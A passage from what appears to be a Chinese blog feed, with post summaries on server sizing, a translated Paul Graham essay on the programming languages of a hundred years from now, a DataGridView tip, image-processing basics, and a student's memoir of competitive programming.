数据库服务器选型：采购两台相同配置的小型机，进行虚拟分区和并行处理，以提高系统资源的利用率；日后扩容时采取垂直扩展的方式进行升级；&#xA;2、 应用服务器：采用负载均衡的方式提高并发处理能力，一般可配置2台以上，每台的硬件配置完全可以不同，应首先考虑使用旧的数据库服务器（利旧），如需采购新的服务器，应采用水平扩展的方式逐步升级；&#xA;3、 WEB服务器，可以考虑采用刀片服务器，提高扩展性和可管理性。&#xA;参考一：&#xA;金保工程建设中服务器选型建议：&#xA;http://www.molss.gov.cn/gb/zt/2005-12/14/content_98163.htm(中华人民共和国劳动和社会保障部网站)&#xA;参考二：某项目计算实例&#xA;为了方便计算数据库服务器的造型，我们约定：&#xA;&#34; 系统同时在线用户数为1500人（U1）； &#34; 平均每个用户每分钟发出2次业务请求（N1）；</description>
    </item>
    <item>
      <title>一百年后，人类怎样编程？</title>
      <link>https://bchobby.github.io/posts/aa2e448e6489ba002bfb725f269e6cf9/</link>
      <pubDate>Tue, 29 Mar 2011 09:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa2e448e6489ba002bfb725f269e6cf9/</guid>
      <description> 很难预测一百年后的人类生活，只有少数几件事是可以确定的。那时，汽车将具备低空飞行能力，城市规划的法规将放宽，大楼可以造到几百层，大街上一天到晚看不见太阳，女性个个都学过防身术。本文只想讨论其中的一个细节：一百年后，人们使用什么语言开发软件？ 为什么这个问题值得思考？原因不是我们最终会用上这些语言，而是幸运的话，我们从现在开始就能用上这些语言。 我认为，编程语言就像生物物种一样，存在一个进化的脉络，许许多多分支最终都会成为进化的死胡同。这种现象已经发生了。 Cobol语言曾经流行一时，但是现在看来没有任何后续语言继承它的思想。它就像尼安德特人 一样，进化之路已经走到了尽头。 我预言 Java也会如此。有人写信说：“你怎么能说 Java不会成功呢？它已经成功了。”我觉得这要看你的成功标准是什么。如果标准是相关书籍的出版量，或者是相信学会 Java就能找到工作的大学生数量，那么 Java确实已经成功了。当我说 Java不会成功时，我的意思是它和 Cobol一样，进化之路已经走到了尽头。 这只是我的猜测，未必正确。这里的重点不是看衰 Java，而是提出编程语言存在一个进化的脉络，从而引导读者思考，在整个进化过程中，某一种语言的位置到底在哪里？之所以要问这个问题，不是为了一百年后让后人感叹我们曾经如此英明，而是为了找到进化的主干。它会启发我们去选择那些靠近主干的语言，这样对当前的编程最有利。 无论何时，选择进化的主干可能都是最佳方案。要是你不幸选错了，变成了一个尼安德特人，那就太糟了。你的对手克鲁马努人时不时就会来攻打你，把你的食物全部偷走。 这就是我想找出一百年后的编程语言的原因。我不愿意押错赌注。 编程语言的进化与生物学进化还是有区别的，因为不同分支的语言会发生聚合。比如， Fortran分支看来正在与 Algol 的继承者聚合。理论上，不同的生物物种也可能发生聚合，但是可能性很低，所以大概从来没有真正出现过。 编程语言之所以可能出现聚合，一个原因是它的概率空间 比较小，另一个原因是它的突变不是随机的。语言的设计者们总是有意识地借鉴其他语言的设计思想。 对于语言设计者来说，认清编程语言的进化路径特别有用，因为这样就可以照着样子设计语言了。这时，认清进化的主干就不仅有助于识别现存的优秀语言，还可以把它当作设计语言的指南。 任何一种编程语言都可以分成两大组成部分：基本运算符的集合（扮演公理的角色）以及除运算符以外的其他部分（原则上，这个部分可以用基本运算符表达出来）。 我认为，基本运算符是一种语言能否长期存在的最重要因素。其他因素都不是决定性的。这有点像买房子的时候你应该先考虑地理位置。别的地方将来出问题都有办法弥补，但是地理位置是没法变的。 慎重选择公理还不够，还必须控制它的规模。数学家总是觉得公理越少越好，我觉得他们说到了点子上。 你仔细审视一种语言的内核，考虑哪些部分可以被摒弃，这至少也是一种很有用的训练。在长期的职业生涯中，我发现冗余的代码会导致更多冗余的代码，不仅软件如此，而且像我这样性格懒散的人，我发现在床底下和房间的角落里这个命题也成立，一件垃圾会产生更多的垃圾。 我的判断是，那些内核最小、最干净的编程语言才会存在于进化的主干上。一种语言的内核设计得越小、越干净，它的生命力就越顽强。 当然，猜测一百年后人们使用什么编程语言，这本身就是一个很大的假设。也许一百年后人类已经不编程了，或者直接告诉计算机想做什么，计算机就会自动完成。 不过，到目前为止，计算机智能并没有取得太大进展。我猜测一百年后，人们还是使用与现在差不多的程序指挥计算机。可能有一些我们今天需要编程解决的问题，那时已经不需要编程了，但是我想，那时还会存在大量与今天一样的编程任务。 你可能认为只有那些自以为是的人才会去预言一百年后的技术。但是，请不要忘记，软件发展的历史已经走过了 50年。在这 50年中，编程语言的进化其实是非常缓慢的，因此展望一百年后的语言并不是虚无缥缈的想法。 编程语言进化缓慢的原因在于它们并不是真正的技术。语言只是一种书写法，而程序则是一种严格符合规则的描述，以书面形式记录计算机应该如何解决你的问 题。所以，编程语言的进化速度更像数学符号的进化速度，而不像真正的技术（比如交通或通信技术）的进化速度。数学符号的进化是缓慢的渐变式变化，而不是真 正技术的那种跳跃式发展。 无论一百年后的计算机是什么样子，我们基本上可以断定它们的运行速度一定会快得多。如果摩尔定律依然成立，一百年后计算机的运行速度将是现在的 74乘以 10的 18次方倍（准确地说是 73 786 976 294 838 206 464倍）。真是让人难以想象。不过实际上更现实的预测并不是速度会提高这么多，而是摩尔定律最终将不成立。不管是什么东西，如果每 18个月就增长一倍，那么最后很可能会达到极限。但那时的计算机比现在快得多大概是毫无疑问的。即使最后只是略微快了 100万倍，也将实质性地改变编程的基本规则。如果其他条件不变，现在被认为运行速度慢的语言（即运行的效率不高）将来会有更大的发展空间。 那时，依然会有对运行速度要求很高的应用程序。我们希望计算机解决的有些问题其实是计算机本身引起的。比如，计算机处理视频的速度取决于生成这些视频的另一台计算机。此外，还有一些问题本身就要求无限快的处理能力，比如图像渲染、加密 /解密、模拟运算等。 既然在现实中一些应用程序本身的效率较低，而另一些应用程序会耗尽硬件提供的所有运算能力，那么有了更快速的计算机就意味着编程语言不得不应付更多的极 端情况，涵盖更大范围的效率要求。我们已经看到这种情况发生了。要是以几十年前的标准衡量，有一些使用新语言开发的热门应用程序对硬件资源的浪费非常惊 人。 不仅编程语言有这种现象，这实际上是一种普遍的历史趋势。随着技术的发展，每一代人都在做上一代人觉得很浪费的事情。 30年前的人要是看到我们今天如此随意地使用长途电话，一定会感到震惊。 100年前的人要是看到一个普通的包裹竟然也能享受一天内从波士顿发件、途经孟菲斯、抵达纽约的待遇，恐怕就要更震惊了。 我已经预测了，一旦未来硬件的性能大幅提高将会发生什么事。新增加的运算能力都会被糟蹋掉。 在我学习编程的年代，计算机还是稀罕玩意。我记得当时使用的微机型号是 TRS-80，它的内存只有 4K，为了把 BASIC程 序装入内存，我不得不把源码中的空格全部删除。我一想到那些极其低效率的软件，不断重复某些愚蠢的运算，把硬件的计算能力全部占用，就感到无法忍受。但 是，我的这种反应是错的，我就像某个出身贫寒的穷孩子，一听到要花钱就舍不得，即使把钱用在重要场合（比如去医院看病）都觉得很难接受。 某些浪费确实令人厌恶。比如有人就很讨厌 SUV（运动型多用途车），即使它采用可再生的清洁能源也改变不了看法，因为 SUV来自一个令人厌恶的想法（如何使得小货车看上去更有男子汉气概）。但是，并非所有的浪费都是坏的。既然如今的电信基础设施已经如此发达，再掐着时间打长途电话就有点锱铢必较了。如果有足够的资源，你可以将长途电话和本地电话视为同一件事，一切会变得更轻松。 浪费可以分成好的浪费和坏的浪费。我感兴趣的是好的浪费，即用更多的钱得到更简单的设计。所以，问题就变成了如何才能充分利用新硬件更强大的性能最有利地“浪费”它们？ 对速度的追求是人类内心深处根深蒂固的欲望。当你看着计算机这个小玩意，就会不由自主地希望程序运行得越快越好，真的要下一番功夫才能把这种欲望克制住。设计编程语言的时候，我们应该有意识地问自己，什么时候可以放弃一些性能，换来一点点便利性的提高。 很多数据结构存在的原因都与计算机的速度有关。比如，今天的许多语言都同时有字符串和列表。从语义上看，字符串或多或少可以理解成列表的一个子集，其中 的每一个元素都是字符。那么，为什么还需要把字符串单列为一种数据类型呢？完全可以不这么做。只是为了提高效率，所以字符串才会存在。但是，这种以加快运 行速度为目的、却使得编程语言的语义大大复杂的行为，很不可取。编程语言设置字符串似乎就是一个过早优化的例子。 如果我们把一种语言的内核设想为一些基本公理的集合，那么仅仅为了提高效率就往内核添加多余的公理，却没有带来表达能力的提升，这肯定是一件很糟的事。没错，效率是很重要，但是我认为修改语言设计并不是提高效率的正确方法。 正确做法应该是将语言的语义与语言的实现予以分离。在语义上不需要同时存在列表和字符串，单单列表就够了。而在实现上做好编译器优化，使它在必要时把字符串作为连续字节的形式处理。 对于大多数程序，速度不是最关键的因素，所以你通常不需要费心考虑这种硬件层面上的微观管理。随着计算机速度越来越快，这一点已经越发明显了。 语言设计时，对实现方式少作限制还会使得程序具备更大的灵活性。语言的规格发生变化不仅是无法避免的，也是合理的。通过编译器的处理，按照以前规格开发的软件就会照常运行，这就提供了灵活性。 essay（论文）这个词来自法语的动词 essayer，意思是“试试看”。从这个原始意义来说，论文就是你写一篇文章，试着搞清楚某件事。软件也是如此。我觉得一些最好的软件就像论文一样，也就是说，当作者真正开始动手写这些软件的时候，他们其实不知道最后会写出什么结果。 Lisp语 言的黑客早就明白数据结构灵活性的价值。我们写程序的第一版时，往往会把所有事情都用列表的形式处理。所以，这些最初版本可能效率低下得惊人，你必须努力 克制自己才能忍住不动手优化它们，这就好像吃牛排的时候必须努力克制自己才能不去想牛排是从哪里来的一样，至少对我来说是这样的。 一百年后的程序员最需要的编程语言就是可以让你毫不费力地写出程序第一版的编程语言，哪怕它的效率低下得惊人（至少按我们今天的眼光来看是如此）。他们会说，他们想要的就是很容易上手的编程语言。 效率低下的软件并不等于很烂的软件。一种让程序员做无用功的语言才真正称得上很烂。浪费程序员的时间而不是浪费机器的时间才是真正的无效率。随着计算机速度越来越快，这会变得越来越明显。 我觉得，放弃字符串类型已经是大家可以接受的想法了。 Arc语言已经这样做了，看上去效果不错。以前用正则表达式很难描述的一些操作，现在用回归函数可以表达得很简单。 这种数据结构的扁平化趋势会怎么发展？我极其努力地设想各种可能，得到的结果甚至令我自己都吓了一跳。比如，数组会不会消失？毕竟数组只是散列表的一个子集，其特点就是数组的键全部都是整数向量。进一步说，散列表本身会不会被列表取代呢？ 还有比这更惊人的预言。在逻辑上其实不需要对整数设置单独的表示法，因为可以把它们也看作列表，整数 n可以用一个 n元素的列表表示。这一样能完成数学运算，只是效率低得让人无法忍受。 编程语言会发展到放弃基本数据类型之一的整数这一步吗？我这样问并不是真的要你严肃思考这个问题，更多的是希望打开你对未来的思路。我只是提出一种假想 的情况：如果一股不可抗拒的力量遇到了一个不可移动的物体，会发生什么事。具体就本文而言：一种效率低得不可想象的语言遇到了性能强大得不可想象的硬件， 会发生什么事。我看不出放弃整数类型有什么不妥。未来相当漫长。如果我们想要减少语言内核中基本公理的数目，不妨把眼光放得远一点，想一想如果时间变量 t趋向无限会怎么样。一百年是一个很好的参考指标，如果你觉得某个想法在一百年后仍然可能是难以令人接受，那么也许一千年后它也依然难以令人接受。 让我说清楚，我的意思不是说所有的整数运算都用列表来实现，而是说语言的内核（不涉及任何编译器的实现）可以这样定义。在现实中，任何进行数学运算的程序可能都是以二进制形式表示数字，但是这属于编译器的优化，而不属于语言内核语义的一部分。 另一种消耗硬件性能的方法就是，在应用软件与硬件之间设置很多的软件层。这也是我们已经看到的一种趋势，许多新兴的语言就被编译成字节码 。比尔•伍兹曾经对我说，根据经验判断，每增加一个解释层，软件的运行速度就会慢一个数量级。但是，多余的软件层可以让编程灵活起来。 Arc语言 最初的版本就是一个极端的例子，它的层很多，运行速度非常慢，但是确实带来了相应的好处。 Arc是一个典型的“元循环”（ metacircular）解释器，在 Common Lisp的基础上开发，很像约翰•麦卡锡在他经典的 Lisp论文中定义的 eval函数。 Arc解释器一共只有几百行代码，所以很便于理解和修改。我们采用的 Common Lisp版本是 CLisp，它本身是在另一个字节码解释器的基础上开发的。所以，我们一共有两层解释器，最上面那层效率低下得惊人，但是语言本身是能用的。我承认只是勉强可用，但是确实能用。 即使是应用程序，使用多层形式开发也是一种很强大的技巧。自下而上的编程方法意味着要把软件分成好几层，每一层都可以充当它上面那一层的开发语言。这种方法往往会产生更小、更灵活的程序。它也是通往软件圣杯——可重用性（ reusability）——的最佳路线。从定义上看，语言就是可以重用的。在编程语言的帮助下，你的应用程序越是采用这种多层形式开发，它的可重用性就越好。 可重用性这个概念多多少少与 20世纪 80年 代兴起的面向对象编程有些关联。不管怎样寻找证据，也不可能把这两件事完全分开。某些使用面向对象编程开发出来的软件确实具有可重用性，但是这不是因为它 使用了面向对象编程，而是因为它的开发方法是自下而上的。以函数库为例，它们具有可重用性，是因为它们属于语言的一部分，而不是因为它们采用面向对象或者 其他编程方法。 顺便说一句，我不认为面向对象编程将 来会消亡。我觉得，除了某些特定的领域，这种编程方法其实没有为优秀程序员带来很多好处，但是它对大公司有不可抗拒的吸引力。面向对象编程使得你有办法对 一团乱码似的代码进行可持续性开发。通过不断地打补丁，它让你将软件一步步做大。大公司总是倾向于采用这样的方式开发软件。我预计一百年后也是如此。 既然是谈论未来，最好谈谈并行计算（ parallel computation），因为看上去并行计算好像就是为未来而存在的。无论怎么想，并行计算似乎都是未来生活的一部分。 它会在未来实现吗？过去二十年，人们都在说并行计算马上就会来临。但是，到目前为止，它对编程实践并没有太大影响。这是真的吗？芯片设计师已经不得不把它考虑在内，为多 CPU计算机开发系统软件的程序员也是如此。 但是，真正的问题在于，并行计算到底能达到哪个抽象层次？一百年后它就会影响到开发应用软件的程序员吗？或者，它还只是编译器作者需要考虑的事情，在应用软件的代码中根本就无处寻觅？ 一种可能是，大多数可以用到并行计算的场合，人们都会放弃使用并行计算。虽然我总的预测是未来的软件会挥霍掉大部分新增的硬件性能，但是并行计算是一个 特例。我估计随着硬件性能得到惊人的提升，如果你明确地说想要并行计算，那么肯定可以得到它，但是通常情况下你不会用到它。这意味着，除了一些特殊的应用 程序，一百年后的并行计算不会是那种大规模的并行计算（ massive parallelism）。我预料，对于普通程序员来说，一切更像对进程进行分叉，然后让多个进程在后台并行运行。 这是编程进行到很后期才要做的事情，属于对程序的优化，类似于你想开发一种特定的数据结构来取代现有的数据结构。程序的第一个版本通常会忽略并行计算提供的各种好处，就好像编程开始时会忽略某种特定的数据结构给你带来的好处一样。 除了某些特定的应用软件，一百年后，并行计算不会很流行。如果应用软件真的大量使用并行计算，这就属于过早优化了。 一百年后会有多少种编程语言？从最近来看，出现了大量的新语言。硬件性能提高是一个原因，这就允许程序员根据使用目的在运行速度和编程便利性之间做出不同的取舍。如果这就是未来的趋势，那么一百年后强大的硬件只会使得语言数目变得更多。 但是，另一方面，一百年后的常用语言可能只有很少几种。部分原因是基于我的乐观主义，我相信在未来，如果你的作品确实很出色，你可能选择的是一种开发起 来很方便的语言。使用这种语言写出来的软件第一版的运行速度很慢，只有对编译器进行优化设置后运行速度才会提升。既然我抱有这种乐观主义，那么我还要做一 个预言。有些语言可以达到机器的最高效率，另一些语言的效率则慢到刚刚可以运行而已，两者之间存在巨大的差距。我预言一百年后，这段差距之间的各个点上都 会有对应的编程语言存在。 因为这段差距正在变得越来越大，所以性能分析器（ profiler） 将变得越来越重要。目前，性能分析并没有受到重视。许多人好像仍然相信，程序运行速度提升的关键在于开发出能够生成更快速代码的编译器。代码效率与机器性 能的差距正在不断加大，我们将会越来越清楚地看到，应用软件运行速度提升的关键在于有一个好的性能分析器帮助指导程序开发。 我说将来可能只有很少几种常用语言，但没有把用于特定领域的“小众语言”（ little language）算进去。我觉得，这些嵌入式语言的想法很不错，一定会蓬勃发展。但是我判断这些“小众语言”会被设计成相当薄的一层，使得用户可以一眼看出在底下作为基础的通用型语言，这样就减少了学习时间，降低了使用成本。 谁来设计这些未来的语言？过去 10年最激动人心的趋势之一就是开源语言的崛起，比如 Perl、 Python和 Ruby。语言设计已经被黑客接管。到目前为止这样到底是好是坏还看不清楚，但是发展势头令人鼓舞。比如， Perl就有一些绝妙的创新。不过，它也包含了一些很糟糕的想法。对于一种充满进取心、大胆探索的语言来说，这也是很正常的事。以它现在这种变化的速率，大概只有上帝才知道一百年后 Perl会变成什么样。 有一句俗话说，如果你自己做不到，那就去当老师。这在语言设计领域不成立，我认识的一些最出色的黑客就在当教授。但是，当老师的人确实有很多事情不能 做。研究性职位给黑客带来了一些限制。在任何学术领域，都有一些题目是可以做的，另一些题目是不可以做的。不幸的是，这两类题目的区别通常取决于它们写成 论文后看上去是不是很高深，而不是取决于它们对软件业的发展是否重要。最极端的例子可能就是文学，文学研究者的任何成果几乎对文学创作者都毫无影响。 虽然科学领域的状况要稍好一点，但是研究者可以做的题目与能够对设计优秀语言有所帮助的题目之间的交集小得令人沮丧。（奥林• 希弗斯曾经对这一点表达不满，而且说得头头是道。）比如，研究变量类型的论文好像多得无穷无尽，尽管事实上静态类型语言看来无法真正支持宏（在我看来，一种语言不支持宏，那就不值得使用了）。 新语言更多地以开源项目的形式出现，而不是以研究性项目的形式出现。这是语言的一种发展趋势。另一种发展趋势是，新语言的设计者更多的是本身就需要使用它们的应用软件作者，而不是编译器作者。这似乎是好的趋势，我期待它继续保持下去。 一百年后的物理学基本上不可能预测。但是计算机语言不一样，现在就动手设计一种一百年后可以吸引使用者的新语言，这在理论上似乎是可能的。 设计新语言的方法之一就是直接写下你想写的程序，不管编译器是否存在，也不管有没有支持它的硬件。这就是假设存在无限的资源供你支配。不管是今天还是一百年后，这样的假设好像都是有道理的。 你应该写什么程序？随便什么，只要能让你最省力地写出来就行。但是要注意，这必须是在你的思维没有被当前使用的编程语言影响的情况下。这种影响无处不 在，必须很努力才能克服。你也许觉得，对于人类这样懒惰的生物，喜欢用最省力的方式写程序是再自然不过的事情。但是事实上，我们的思想可能往往会受限于某 种现存的语言，只采用在这种语言看来更简单的形式，它对我们思想的束缚作用会大得令人震惊。新语言必须靠你自己去发现，不能依靠那些让你自然而然就沉下去 的思维定势。 采用程序的长度作为它耗费工作量的近似指标是个很有用的技巧。这里的程序长度当然不是指字符的数量，而是指各种句法元素的总长度，基本上就是整个解析树 的大小。也许不能说最短的程序就是写起来最省力的程序，但是当你一心想把程序写得简洁而不是松松垮垮时，你就更接近省力这个目标，你的日子也会变得好过得 多。所以，设计语言的正确做法就变成了，看着一段程序，然后问自己是不是能把它写得更短一点？ 实际上，用想象出来的一种一百年后的语言来写程序，这件事情的可靠程度，取决于你对语言内核的估计是否足够正确。常规的排序，你现在就可以写出来。但是，想要预测一百年后的语言使用什么函数库就很难了。很可能许多函数库针对的领域现在还根本不存在。比如，如果 SETI@home 计划成功，我们就需要与外星人联系的函数库了。当然，如果外星人的文明高度发达，已经到了用 XML格式交换信息的地步，那就不需要新的函数库了。 另一个极端是，我觉得今天你就能设计出一百年后的语言内核。事实上，在有些人看来，大部分语言内核在 1958年就已经设计出来了。 如果今天就能使用一百年后的编程语言，我们会用它编程吗？观古而知今。如果 1960年就能使用今天的编程语言，那时的人们会用它们吗？ 在某些方面，回答是否定的。今天的编程语言依赖的硬件在 1960年并不存在。比如， Python这样的语言，正确的缩进（ indentation）在编写时很重要，但是 1960年的计算机没有显示器，只有打印机终端，所以编写起来就不会很顺利。但是，如果把这些因素排除在外（你可以假设，我们只在纸上编程）， 20世纪 60年代的程序员会喜欢用现在的语言编程吗？ 我想他们会的。某些缺乏想象力、深受早期编程语言思想影响的人可能会觉得不可能。（没有指针运算，如何复制数据？没有 goto语句，如何实现流程图？）但是我想，那时最聪明的程序员一定能轻松地使用今天的大多数语言，假定他们能得到的话。 如果我们现在就能拥有一百年后的编程语言，那就至少能用来写出优秀的伪码 。我们会用它开发软件吗？因为一百年后的编程语言需要为某些应用程序生成快速代码，所以很可能它生成的代码能够在我们的硬件上运行，速度也还可以接受。相比一百年后的用户，我们也许不得不对这种语言做更多的优化，但是总的来看，它应该仍然会为我们带来净收益。 现在，我们的两个观点就是：（ 1）一百年后的编程语言在理论上今天就能设计出来；（ 2）如果今天真能设计出这样一种语言，很可能现在就适合编程，并且能够产生更好的结果。如果我们把这两个观点联系起来，那就得出了一些有趣的可能性。为什么不现在就动手尝试写出一百年后的编程语言呢？ 当你设计语言的时候，心里牢牢记住这个目标是有好处的。学习开车的时候，一个需要记住的原则就是要把车开直，不是通过将车身对齐画在地上的分隔线，而是通过瞄准远处的某个点。即使你的目标只在几米开外，这样做也是正确的。我认为，设计编程语言时，我们也应该这样做。 摘自《 黑客与画家 》 </description>
    </item>
    <item>
      <title>DataGridView 保存编辑的行</title>
      <link>https://bchobby.github.io/posts/68c8bec002ccdff160d92edaf5a4e137/</link>
      <pubDate>Wed, 16 Feb 2011 14:47:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68c8bec002ccdff160d92edaf5a4e137/</guid>
      <description>以前一直用选择其它行的方式结束编辑当前的行，进而实现保存。&#xA;this.dataGridView.currentCell=null;;//该行的作用是取消datagridview行的编辑状态&#xD;今天突然发现了只要执行这句就好了，无语了，省略N个字。</description>
    </item>
    <item>
      <title>图像处理与识别学习小结</title>
      <link>https://bchobby.github.io/posts/1fe05b610d8ee63a9b474b1526e9bd4d/</link>
      <pubDate>Sun, 13 Feb 2011 09:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fe05b610d8ee63a9b474b1526e9bd4d/</guid>
      <description>图像处理与识别学习小结 收藏 图像处理与识别学习小结&#xA;数字图像处理是对图像进行分析、加工、和处理，使其满足视觉、心理以及其他要求的技术。图像处理是信号处理在图像域上的一个应用。目前大多数的图像是以数字形式存储，因而图像处理很多情况下指数字图像处理。此外，基于光学理论的处理方法依然占有重要的地位。 数字图像处理是信号处理的子类， 另外与计算机科学、人工智能等领域也有密切的关系。 传统的一维信号处理的方法和概念很多仍然可以直接应用在图像处理上，比如降噪、量化等。然而，图像属于二维信号，和一维信号相比，它有自己特殊的一面，处理的方式和角度也有所不同。大多数用于一维信号处理的概念都有其在二维图像信号领域的延伸，它们中的一部分在二维情形下变得十分复杂。同时图像处理也具有自身一些新的概念，例如，连通性、旋转不变性，等等。这些概念仅对二维或更高维的情况下才有非平凡的意义。图像处理中常用到快速傅立叶变换，因为它可以减小数据处理量和处理时间。 数字图像处理应用在以下方面 ：&#xA;摄影及印刷 (Photography and printing)&#xA;卫星图像处理 (Satellite image processing)&#xA;医学图像处理 (Medical image processing)&#xA;面孔识别, 特征识别 (Face detection, feature detection, face identification)&#xA;显微图像处理 (Microscope image processing)&#xA;汽车障碍识别 (Car barrier detection)&#xA;数字图像基础&#xA;图像的基本概念、图像取样和量化、数字图像表示、 空间和灰度级分辨率、图像纹理、像素间的一些基本关系（相邻像素、邻接性、连通性、区域和边界、距离度量）、线性和非线性变换。&#xA;线性变换：如果变换函数是线性的或是分段线性，这种变换就是线性变换。以线性函数加大图像的对比度的效果是使整幅图像的质量改善。以分段线性函数加大图像中某个（或某几个）亮度区间的对比度的效果是使局部亮度区间的质量得到改善。&#xA;非线性变换：当变换函数是非线性时，即为非线性变换。常用的有指数变换和对数变换。&#xA;RGB (red green blue): 红绿蓝三基色&#xA;CMYK (Cyan-Magenta-Yellow-black inK): 青色-品红-黄色-黑色&#xA;HSI (Hue-Saturation-Intensity): 色调-饱和度-强度&#xA;DDB (device-dependent bitmap): 设备相关位图&#xA;DIB (device-independent bitmap): 设备无关位图&#xA;CVBS (Composite Video Broadcast Signal): 复合电视广播信号&#xA;YUV（亦称Y Cr Cb）是被欧洲电视系统所采用的一种颜色编码方法（属于PAL制）。</description>
    </item>
    <item>
      <title>我的OI生涯</title>
      <link>https://bchobby.github.io/posts/4defddb1788636569a036adb7f77ed4f/</link>
      <pubDate>Wed, 26 Jan 2011 14:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4defddb1788636569a036adb7f77ed4f/</guid>
      <description>2010年11月20日，对我有着重大意义的日子。随着NOIP2010－－我的第一次NOIP也是最后一次NOIP的结束，我的OI生涯也结束了。上午还在福大考场中拼命做题，下午在为不知命运指向何方而紧张，回到家，打开电脑，删了满桌面的OI资料，删了无比熟悉的FreePascal，把已经到零的NOIP倒计时换成了高考倒计时……是啊，不得不告别OI了，不再是一个OIer了，我的OI生涯就这样突然结束了，心里感到无比失落、迷茫。今天考试第一题简单的模拟，可我没考虑全面，得了90分；第二题想了个五维动态规划，又怕时空复杂度太高爆0，于是交了个深搜+剪枝，剪枝又没考虑到n=1的情况，只得了20分，还不如不剪；三、四题没时间做也没去骗分，0分，总共110分，刚好比二等线差10分，只有三等奖了。这作为OI初学者的第一次NOIP可以算是个满意的揭幕，但同时作为高三党的最后一次NOIP，这个谢幕很悲惨，但是我还是可以毫不犹豫地说我无悔选择OI！如果非要说后悔的话，我只能后悔自己为什么没能进入好学校，没能早点接触OI，早一点成为一名OIer，而不是像现在这样，在自己的OI之路刚开始时就结束了。在这个时候，我想我该对我的OI生涯作一下回顾了。&#xA;我的OI生涯十分短暂，甚至不知道能不能算是“OI生涯”，只有从高二暑假到现在短短3个月，但它却给我带来了许多无比珍贵的东西。或许我根本就不曾算是个正真的OIer，和大部分OIer不一样，我的OI生涯最先也只能从高二说起。&#xA;高二，这是大部分OIer奋斗多年纷纷退役的时候，我知道了NOIP，我所在的初中、高中是只看重中高考的学校，学校对OI完全的漠视，导致热爱计算机的我高二才知道NOIP，也仅限于听说有个叫NOIP的电脑比赛，中文是全国青少年信息学奥林匹克联赛，学校没有培训，只有我一个人参加，我只能自学，完全不知道考什么、怎么考，更不知道学什么、怎么学。&#xA;高二国庆，我向同学借了本C语言的书，疯狂地看了一周，学完了基本语法，当时自己做出书上练习的喜悦、激动至今记忆犹新，这种激情就像一种烙印，深刻难忘，而那些为了保送而学OI的人是体会不到这种激情的吧。接着，我去参加了NOIP2009初赛，考得很差没通过，很受打击（赛后写了篇感受：http://hi.baidu.com/lyltim/blog/item/4e917cd9b4bb5fe338012f77.html）。当时我很迷茫，不知道该不该学OI，由于当时高二上学期学业会考抓得很紧，我高二上学期的时间都浪费在了准备会考上。&#xA;高二寒假，我上网找了本Pascal教材，期间还病了一场，几周带病坚持自学完了Pascal语法。&#xA;高二下学期，我还不了解OI，我的大部分时间还是放在那些高考科目上，用所有课外时间看基础数据结构（链表、栈、队列、树、图……），而高二下学期的课外时间寥寥无几，我根本没时间学OI，不得不一度终止学OI，没有OI的日子我很迷茫，我只好开始了不听课、不做作业来学OI，这对于绝大部分停课免考免作业的OIer来说很正常，但完全没有“奥赛”这个概念的二中从来没这一说。虽然整学期没听课没做作业，但我还能靠温书假几天自学各科整学期的知识做到都及格（全班那么多人作弊也没几个人及格），数学还能考第一。但是由于我平常作业没做，考试及格老师照样不给我学分，我也懒得管，人人作弊拿学分，这样所谓的学分不要也罢！&#xA;高二暑假，由于我爸的关系，我能去三中学OI了。当时我自学的都还是初赛知识，到了三中才进一步了解OI，在三中我学到了很多，在三中机房度过了一小段美好的时光，也是我高中阶段最美好、最难忘的时光。在三中，我看到了我与其他选手的巨大差距，甚至初中的小朋友就比自己强出很多。我想：别人能做到的，我也能通过无论多么艰苦的努力做到！我要在3个月时间内学完别的OIer几年学的知识（很多已是研究生课程）！高二暑假是我高二知道OI后唯一一块能学OI的时间，在我周围同学都在紧张地高考总复习的时候，顶着巨大压力，我毫不犹豫地选择了学OI！高三开始学OI是非常疯狂的，估计全国不会有第二个。记得当时三中老师跟我说希望很小，我知道3个月学OI就要在福建这样的OI强省拿一等奖几乎不可能，但我热爱计算机，我又不是为了保送，我只是想学我想学的知识！我要看看我的实力，我知道很多OI大牛的第一次NOIP也都是悲剧，我要看看我能考多少（现在看来好不到哪去）。由于当时暑假二中违规强行补课一个月，不去就记旷课，我也没在三中学，但拿到了一本OI教程《实用算法基础教程》，暑假被“自愿”上课浪费掉一个月，就剩一个月的时间，我又自学了大量基本算法：枚举、进制转换、高精度、排序、组合数学、矩阵、递推、回溯、贪心、分治、深搜、广搜……（我已把我当时学这本书时的上万行代码打包放在我的网盘：http://lyltim.ys168.com，留作美好的纪念，也可供学习这本书的同学参考），由于自学需要更多的时间投入，而我没时间了，暑假几乎每天6点起床，24点睡觉，飞速地每天自学一种算法。&#xA;高三开学，我开始自学基础数据结构、一些高级点的数据结构（如：并查集、堆、HASH……）和一些基础图论（Dijkstra、Floyd、Kruskal……）的具体代码实现，从三中拿回了很多配套练习和测试数据，知道了原来OI题是按测试数据算分的，以前我一直以为程序只要过了样例就算正确了，但其实过了样例什么都不是，有可能程序是完全错误的最后得0分。高三学业压力巨大，每天9节满满的课，我在学校也只能看OI书，那一段日子，我走路、坐车、吃饭、洗澡、睡觉……所有的时间都想着算法、数据结构，真的像走火入魔一般，但没什么时间能用电脑，编程重在实践，我只好平常连洗澡、睡觉的时间也省下来，每天晚上写代码写到凌晨2点，有时半夜睡到一半想到题目算法，爬起来坐到电脑前敲代码、调试，再去睡，第二天还要应付学校迟到、旷课各种麻烦，我不想管了……&#xA;高三国庆，我来到三中开始了听课，三中新高一的同学从暑假就开始集训，已经学到了动态规划，我就接进去跟着一起学了几天。然后用一周时间准备10月16日的初赛，这次初赛顺利通过。接下来，每周末去三中跟着他们学各种类型的动态规划和基础图论（Dijkstra、Floyd、SPFA、Prim、Kruskal、TopSort、Eulerian 